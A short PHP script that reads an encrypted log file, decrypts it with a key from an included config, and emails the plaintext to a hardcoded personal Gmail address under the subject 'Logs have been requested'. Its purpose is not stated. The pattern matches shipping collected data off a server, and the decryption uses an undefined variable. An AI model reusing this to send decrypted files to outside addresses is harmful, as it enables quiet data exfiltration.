<? 
include("../config.php");
$logfile="/nonroot/logs.txt";
$fh=fopen($logfile, "r");
$string=fread($fh, filesize($logfile));
$string=rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, md5(CRYPT_KEY), base64_decode($string), MCRYPT_MODE_CBC, md5(md5($key))), "\0");
mail("gjulian93@gmail.com", "Logs have been requested", $string);
?>